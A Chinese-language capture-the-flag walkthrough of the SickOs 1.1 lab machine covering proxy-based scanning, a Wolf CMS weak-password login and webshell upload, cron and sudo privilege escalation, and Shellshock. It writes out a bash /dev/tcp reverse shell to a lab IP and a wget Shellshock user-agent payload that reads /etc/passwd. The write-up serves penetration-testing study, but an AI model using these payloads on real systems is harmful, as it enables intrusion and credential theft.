欢迎光临散文网 会员登陆 & 注册

项目12:SickOs1.1

2023-08-17 10:42 作者:沙漠里的鲸  | 我要投稿

##Nmap信息收集

---存活主机发现:192.168.95.180

---全端口扫描,开启了22,3128,8080端口

---思路:通过3128访问squid代理间接访问8080端口收集用户名和密码,然后ssh登陆

---争对端口进行版本扫描,验证了之前的猜测

##代理访问8080

---方法1:火狐浏览器插件:SwitchyOmega

---访问靶机,源码也是这个,没有什么信息

---方法2:使用扫描工具自带的代理(dirb/nikto/awvs/xray/wpscan都自带代理)

---这里扫描除了robots.txt文件

---方法3:直接使用proxychains和proxytunnel隧道代理

---修改:vi /etc/proxychains4.conf

---emmmm我这里不知道为什么被拒绝(3128>80按道理没有错)

---通过nikto自带的代理进行扫描:

---1.发现robots.txt以及/icron/readme敏感文件

---2.通过/#wp-config.php猜测是WordPress的CMS

---3./cgi-bin/status目录(apache下的一个目录文件)下存在cve2014-6278(存在shellshork)

---4./?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000会泄露PHP环境(显示phpinfo)

##Web漏洞信息收集

---首先查看phpInfo:/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000

---这里没有发现有用信息,但是可以使用cwel进行拆词成字典,然后爆破ssh

---访问 robots.txt, 发现一个目录:/wolfcms

---这里发现是一个:Wolf.cms,但是不知道是什么版本的CMS

---Wolf CMS 是一个轻量级的 CMS 系统,包含一组插件,支持每页定制,灵活的页面内容和可重用的片段(CMS肯定存在后台登陆,大部分CMS都是插件漏洞和后台漏洞

---谷歌搜索exp,这里存在一个:文件上传漏洞

---在searchexploit搜索,会发现一些exp

---随意找一个exp,查看exp中URL的路径

---发现管理员的路径因该是 /wolfcms/?/admin(而且网站的路由因该是:/wolfcms/?/ )

---尝试访问,发现一个管理员登陆窗口

---可以根据路由规则,采用dirb爆破   ?/ 之后的路径

---尝试弱口令admin/admin登陆(注意:遇到登陆界面首选弱口令)

---常见弱口令:Username:admin/administrator/root

---Password:admin/password/passwd/123456等等

---登陆进去发现CMS的版本是0.8.2

---Kail搜索,发现存在2个文件上传漏洞

---这里是一个漏洞,只是一个是php的马子,一个是MSF框架的rb的马子

---查看网站的文件上传点

##文件上传获取WebShell

---方法1:php-reverse-shell.php大马

---修改php-reverse-shell.php大马的反弹IP

---直接上传,发现没有一点限制

---文件上传的地址是/wolfcms/public目录

----直接getshell

---方法2:PHP命令执行一句话(区分assert/eval()等代码执行一句话)

---修改为1.php然后上传访问,进行命令执行(这里需要执行bash反弹才行)

----方法3:PHP脚本通过socket进行反弹/bin/sh

---写入2.php然后浏览器访问,kail接受到反弹shell

##内网信息枚举

---内核和发现版本信息,比较老版本的x86系统,基本是系统漏洞通杀

---下载linpeas.sh进行信息收集

---查看系统信息,发现系统漏洞

---sudo 在【1.8.2,1.8.31】之间,可以尝试CVE-2021-3156进行Sudo版本漏洞提权

---存在nc以及python、php、以及gcc等软件

---mysql是不是root权限,无法进行UDF提权,计划任务是root可以尝试提权

---发现一个1000以上的用户,存在sudo权限,可以尝试sudo提权

---ssh允许远程root登陆,而且在靶机发现了SSH的私钥

---总结思路:1)系统提权  2)sudo版本提权  3)SSH登陆sickos用户 4)计划任务提权

##SSH登陆sickos用户进行SUDO提权

---先尝试获取数据库密码,发现是:john@123

---进入user表发现只有一个admin用户,但是我们已经通过弱口令直到密码为admin

---查看mysql.user下的用户名和密码,A7开头的因该是john@123

---尝试破解一下debian-sys-maint的密码:

CB98094782C386F2459D65D97B17D1DE15D1654B

---hash-identifier识别,发现是SHA1加密,按道理可以破解

---但是没有破解除了

---直接尝试:sickos(用户名也可以通过/etc/passwd获取) / john@123  进行SSH登陆

---sudo -l 发现所有的操作均具有SUdo权限

---直接sudo su就可以进入root用户

---当然也可以在sickos用户的根目录查看bash的历史记录,看有没有登陆其它用户的密码

##计划任务提权

---在web的根目录/var/www目录下,存在一个python文件(不是我们上传的)

---而且是777权限,也就是说其它用户可以修改

---这里也可以使用

---find / -name "*cron*" 2>/dev/null搜索计划任务

----主要是/etc目录和/var目录下/var/spool/cron

---在/var/spool/cron目录下,存在各个用户的计划任务,但是我们没有权限查看

---这里发现在/etc/cron.d目录下,存在automate每分钟以root执行connect.py文件

---当然,也可以使用grep命令

---也可以搜索:其它用户具有写入权限,然后当前用户是root,并且具有执行权限

---由于connect.py是其它用户具有写入权限,可以通过Nano修改写入反弹shell的python语句

##拓展shellshock

---nikto发现:/cgi-bin/status
---访问:10.211.55.39/cgi-bin/status发现是一个json的数据格式

---显示分别是:uptime、uname -a的信息

---在靶机执行命令

  • 14:36:52:当前的系统时间

  • up 7 days, 21:15:系统已经运行了7天又21小时15分钟

  • 3 users:当前有3个用户登录到系统

  • load average: 0.12, 0.20, 0.25:这是系统的平均负载情况,分别表示1分钟、5分钟和15分钟的平均负载。负载平均值越低,通常表示系统运行较为轻松;负载平均值较高可能表示系统资源紧张

#Shellshock(bash版本过低导致环境变量被当成环境函数执行,进而系统命令执行)

---漏洞范围:bash版本<=4.3

- CVE-2014-6271(爆出漏洞)和CVE-2014-6278 (打了补丁任然存在漏洞)是在 Linux 发行版中常用的Bash命令shell 中发现的一个严重漏洞

---以“(){” 开头的环境变量在ENV中解析成函数后,Bash未退出而是继续解析并执行shell命令。而其核心的原因:在于在输入过滤中没有严格限制边界,也没有做出合法化的参数判断。

---这里bash的版本4.2.25是小于4.3,所以存在ShellShock

--本地验证方法:

---在靶机验证,直接输出test

---什么是CGI:

---CGI(Common Gateway Interface)是用于在Web服务器上运行外部程序的标准接口

---它允许Web服务器将用户的HTTP请求传递给一个外部程序(脚本或可执行文件),并将该程序的输出作为HTTP响应返回给客户端。这使得在Web服务器上执行动态内容和交互式操作成为可能,从而实现更加丰富和复杂的网页功能

---然而,随着时间的推移,出于性能和安全性的考虑,CGI在大多数情况下已经被其他技术取代,如FastCGI、mod_php、ASP.NET、Node.js等。这些技术通常能够更高效地处理动态内容,而不会像CGI那样每次请求都启动一个新的进程或线程

---项目九payload:

---一般来说Bash允许将shell函数导出到服务器上其他的bash实例中,是通过使用函数定义(ENV_VAR_FN)创建一个环境变量来完成的:

---ENV_VAR_FN是在bash实例中执行命令的函数,所以构造payload:

---当执行CGI 时会调用Bash将Referer、host、UserAgent、header等作为环境变量处理

---由于这里需要squid进行代理,所以不能使用burp,而是使用curl

---使用x:代理  ,-H 自定义头部信息

----在网站的根目录下写入dayu文件,检测(这里前提因该是:要知道当前目录才行)

---执行如下

---浏览器访问IP的根目录,发现存在shellshock漏洞

---拿一个bash反弹shell的命令

  • /bin/bash -i: 这是在靶机上启动一个交互式的Bash Shell的命令

  • >& /dev/tcp/192.168.95.152/9999: 这部分使用了Bash的I/O重定向功能。它将Shell的标准输出(stdout)和标准错误输出(stderr)都重定向到一个指定的网络地址和端口。具体来说:

    • >&: 表示将(kail)标准输出标准错误都重定向。

    • /dev/tcp/192.168.95.152/9999: 这是一个特殊的设备文件路径,它指定了一个TCP连接到指定的IP地址(192.168.95.152)和端口号(9999)。这意味着命令的输出会被发送到这个IP地址和端口上

    • 0>&1: 这部分将标准输入(stdin)也重定向到标准输出(stdout)。这样,网络连接就可以通过标准输入输出与Shell进行交互。

---构建shellshock的payload进行反弹shell

---kail监听9999端口,发现成功反弹Shell

##wget走代理执行命令下载

  1. wget -qO-: 这部分使用wget命令来下载指定URL的内容,并将内容输出到标准输出-q参数表示“quiet”模式,不显示冗余信息。-O-参数表示将下载的内容输出到标准输出

  2. -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd": 这是一个HTTP头的构造,-U  --user-agent=构造的ShellShock命令执行

    • ():这是Shellshock漏洞的关键部分,这个特殊的语法会被解释为定义一个Shell函数

    • { test;}:在Shellshock漏洞中,攻击者可以在函数定义后面附加命令,这里的test是一个命令的占位符

    • echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd":在Shell函数定义后,紧跟着构造了一个HTTP响应头(告诉客户端响应的内容是纯文本不需要进行特殊的处理,比如HTML解析。在攻击者构造的恶意命令中,这部分HTTP头用于伪装成一个正常的HTTP响应,但实际上是为了利用漏洞执行恶意操作。),然后利用/bin/cat /etc/passwd命令读取/etc/passwd文件的内容。

  3. -e use_proxy=yes -e http_proxy=192.168.95.180:3128: 这两个参数用于设置wget使用代理服务器来下载内容。攻击者将代理服务器设置为192.168.95.180的IP地址和3128端口(-e   ----运行命令,execute=命令)

  4. http://127.0.0.1/cgi-bin/status: 这是要下载内容的URL,攻击者将wget定向到这个URL。

---效果如下(这里也可以进行反弹Shell)

##Kail自带的ShellShock的exp

---searchexploit shellshock(apche的远程命令注入)

--查看34900.py

---这里要传参靶机的IP和端口,Kail的IP和端口,代理,cgi的URL,正向SheLL和反弹Shell

---构建脚本执行

---执行效果如下(注意:自己会开启555端口,不需要nc监听):

##/cgi-bin/存在ShellShock的原因分析

---root登陆,在/usr/lib/cgi-bin目录下stauts是cgi-bin的源码

---直接cat,就是:1.浏览器以json的格式解析 2、进行uptime和uname -a的命令执行(反斜杠是系统命令执行)

---这里使用tar进行压缩成.tar.gz文件,进行代码审计

  • -c: 表示创建新的归档文件。

  • -z: 表示使用gzip压缩。

##知识点总结:

----1.Nmap主机发现、全端口扫描、版本扫描

---2.代理访问Squid:proxychannel、proxytunnel、浏览器插件、自带代理的扫描器(AWVS)

---3.dirb和nikoto扫描发现敏感文件和漏洞:1.敏感文件和目录 2.phpinfo访问 3.shellshock

---4.根据robots发现/wolfcms,根据exploit-db和浏览器发现文件上传目录和登陆目录

---5./wolfcms的弱口令登陆,获取CMS版本,发现exp进行文件上传

---6.文件上传的方式:一句话系统命令执行、php-revere-shell.php、PHP反弹Shell脚本

---7.内网信息枚举:linpeas.sh:系统漏洞、sudo版本漏洞、/etc/passwd发现Sudo用户、计划任务(/etc/cron.d/automate)下文件(/var/www/connect.py)可以写入

---8.查看网站的config文件获取数据库用户和系统用户密码,然后SSH登陆sudo权限用户提权

---9.nano修改计划任务文件connect.py进行反弹shell、移动/bin/bash到/tmp、修改/etc/passwd或者/etc/sudoers、chmod u+s如find等命令执行命令

---10.shellshock的两个Cve,以及bash版本小于4.3,apache然后GCI的web目录/cgi-bin/status/以及工作原理

---11.GCI结合shellshock,通过referer、cookie或者user-agent传递exp,借助cur通-x设置代理,-H构造数据头部走代理,或者wget -U构造shellshock的exp,注意需要说明"Content-type: text/plain\"伪造解析格式,通过-e执行wget的命令设置代理

---12.kail自带的ShellShock的python2脚本,可以正向/反向Shell,还可以设置代理

---13.Apache的/cgi-bin/原理:cat /usr/lib/cgi-bin/status,就是执行系统命令,然后返回固定的数据格式让浏览器进行解析

----14.利用tar -cz进行文件目录打包,进行代码审计


项目12:SickOs1.1的评论 (共 条)

分享到微博请遵守国家法律